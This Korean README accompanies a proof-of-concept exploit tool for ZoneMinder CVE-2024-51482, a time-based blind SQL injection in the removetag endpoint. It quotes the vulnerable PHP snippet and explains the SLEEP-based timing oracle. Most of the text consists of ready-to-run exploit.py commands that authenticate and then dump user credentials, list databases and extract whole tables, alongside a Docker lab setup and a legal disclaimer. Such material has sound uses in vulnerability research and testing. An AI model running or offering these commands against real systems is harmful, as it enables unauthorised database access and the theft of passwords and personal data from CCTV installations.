
ZoneMinder의 CVE-2024-51482에 대한 시간 기반 SQL 인젝션 PoC로, 재현 가능한 Docker 실험 환경과 자동화된 데이터 추출 기능을 제공합니다.
⚠️ 교육 목적 및 공인된 보안 연구용입니다. 소유하지 않거나 서면 허가 없이 테스트할 권한이 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.
이 저장소는 ZoneMinder를 대상으로 하는 시간 기반 SQL 인젝션 PoC를 포함합니다.
도구의 기능:
또한 안전한 테스트를 위한 완전히 재현 가능한 Docker 실습 환경을 제공합니다.
ZoneMinder는 무료 오픈 소스 폐쇄회로 텔레비전 소프트웨어 애플리케이션입니다. 취약점은 ZoneMinder의 removetag 엔드포인트에서 입력 검증이 충분하지 않아 발생합니다. 사용자 제공 입력이 적절한 살균 또는 매개변수화 없이 SQL 쿼리에 직접 포함되어, 공격자가 악의적인 boolean 기반 SQL 페이로드를 주입할 수 있습니다. 익스플로잇은 다음을 활용합니다:
SLEEP(x - IF(condition, 0, x))
응답 시간을 통해 데이터를 추론합니다.
Github 유지보수자 권고의 취약한 코드 스니펫:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
공격자 ZoneMinder 웹 애플리케이션
│ │
│ [인증] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← 인증된 세션
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean 쿼리 실행
│ IF(조건, 지연 없음, SLEEP)
│◄────────────────────────────────────────│
│ 지연된 응답 (시간 오라클) │ ← 조건 추론
│ │
│ 요청 반복 │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 시간 차이로 문자 하나씩 추출 │
│ │
│ 각 문자에 대해 이진 탐색 │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 추출된 데이터 (한 번에 1문자) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 전체 데이터베이스 노출 │
│ │
✓ 블라인드 SQLi를 통한 완전한 데이터 유출
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # 환경 변수 설정
docker compose up -d
플래그 없이 실행하면 도구가 대상에 인증하고 취약점을 확인한 후, 취약할 경우 zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다 (dump-users 명령).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
대상이 취약한지만 확인합니다.
python exploit.py -t http://target/zm -u <username> -p <password> check
zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다. 명령어가 지정되지 않은 경우 기본 명령어입니다.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
모든 데이터베이스를 나열합니다.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
지정된 데이터베이스의 테이블을 나열합니다.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
지정된 테이블의 컬럼을 나열합니다.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
지정된 테이블의 모든 데이터를 덤프합니다.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
덤프할 컬럼을 지정할 수도 있습니다 (기본값은 전체):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
파일이 존재하지 않으면 생성됩니다. 이미 존재하면 새 결과가 추가됩니다.
--outfile results.csv
| 플래그 | 설명 | 예제 |
|---|---|---|
-t, --target | 대상 기본 URL | -t http://localhost:8080 |
-u, --user | 인증용 사용자 이름 | -u admin |
-p, --password | 인증용 비밀번호 | -p admin |
--cookie | 로그인 대신 기존 ZMSESSID 쿠키 사용 | --cookie abc123... |